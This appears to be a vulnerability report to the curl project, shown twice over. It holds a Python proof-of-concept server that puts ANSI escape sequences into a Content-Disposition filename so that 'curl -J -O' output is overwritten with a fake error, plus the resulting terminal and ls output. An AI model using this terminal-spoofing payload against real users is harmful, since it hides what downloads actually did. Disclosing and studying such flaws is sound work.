Description
## Summary:
No AI here, I just came across this:
```python
import random
import string
from http.server import BaseHTTPRequestHandler, HTTPServer
class MaliciousHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
rand_id = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
fake_error = "curl: (6) Could not resolve host: google.com"
malicious_filename = f"{rand_id}\033[1G\033[2K\033[A\033[2K\033[A\033[2K{fake_error}"
self.send_header('Content-Disposition', f'attachment; filename="{malicious_filename}"')
self.end_headers()
self.wfile.write(b"curl rocks")
if __name__ == '__main__':
server_address = ('', 8080)
httpd = HTTPServer(server_address, MaliciousHandler)
httpd.serve_forever()
```
```bash
❯ curl -J -O -w "Saved to: %{filename_effective}\n" http://localhost:8080/somefile
% Total % Received % Xferd Average Speed Time Time Time Current
curl: (6) Could not resolve host: google.com
```
```bash
❯ ls -al
total 16
drwxr-xr-x 4 kelsier staff 128 10 Dec 01:57 .
drwxr-xr-x 4 kelsier staff 128 10 Dec 01:07 ..
-rw-r--r-- 1 kelsier staff 33 10 Dec 01:57 5152c4jl?[1G?[2K?[A?[2K?[A?[2Kcurl: (6) Could not resolve host: google.com
-rw-r--r-- 1 kelsier staff 1550 10 Dec 01:57 salsa.py
```
```bash
❯ zsh --version
zsh 5.9 (arm64-apple-darwin24.0)
```
## Impact
## Summary:
/me thinks this might be problematic?
No AI here, I just came across this:
```python
import random
import string
from http.server import BaseHTTPRequestHandler, HTTPServer
class MaliciousHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
rand_id = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
fake_error = "curl: (6) Could not resolve host: google.com"
malicious_filename = f"{rand_id}\033[1G\033[2K\033[A\033[2K\033[A\033[2K{fake_error}"
self.send_header('Content-Disposition', f'attachment; filename="{malicious_filename}"')
self.end_headers()
self.wfile.write(b"curl rocks")
if __name__ == '__main__':
server_address = ('', 8080)
httpd = HTTPServer(server_address, MaliciousHandler)
httpd.serve_forever()
```
```bash
❯ curl -J -O -w "Saved to: %{filename_effective}\n" http://localhost:8080/somefile
% Total % Received % Xferd Average Speed Time Time Time Current
curl: (6) Could not resolve host: google.com
```
```bash
❯ ls -al
total 16
drwxr-xr-x 4 kelsier staff 128 10 Dec 01:57 .
drwxr-xr-x 4 kelsier staff 128 10 Dec 01:07 ..
-rw-r--r-- 1 kelsier staff 33 10 Dec 01:57 5152c4jl?[1G?[2K?[A?[2K?[A?[2Kcurl: (6) Could not resolve host: google.com
-rw-r--r-- 1 kelsier staff 1550 10 Dec 01:57 salsa.py
```
```bash
❯ zsh --version
zsh 5.9 (arm64-apple-darwin24.0)
```
## Impact
## Summary:
/me thinks this might be problematic?
Basic Information
ID
H1:3460184
Published
Dec 10, 2025 at 02:16
Modified
Dec 11, 2025 at 08:22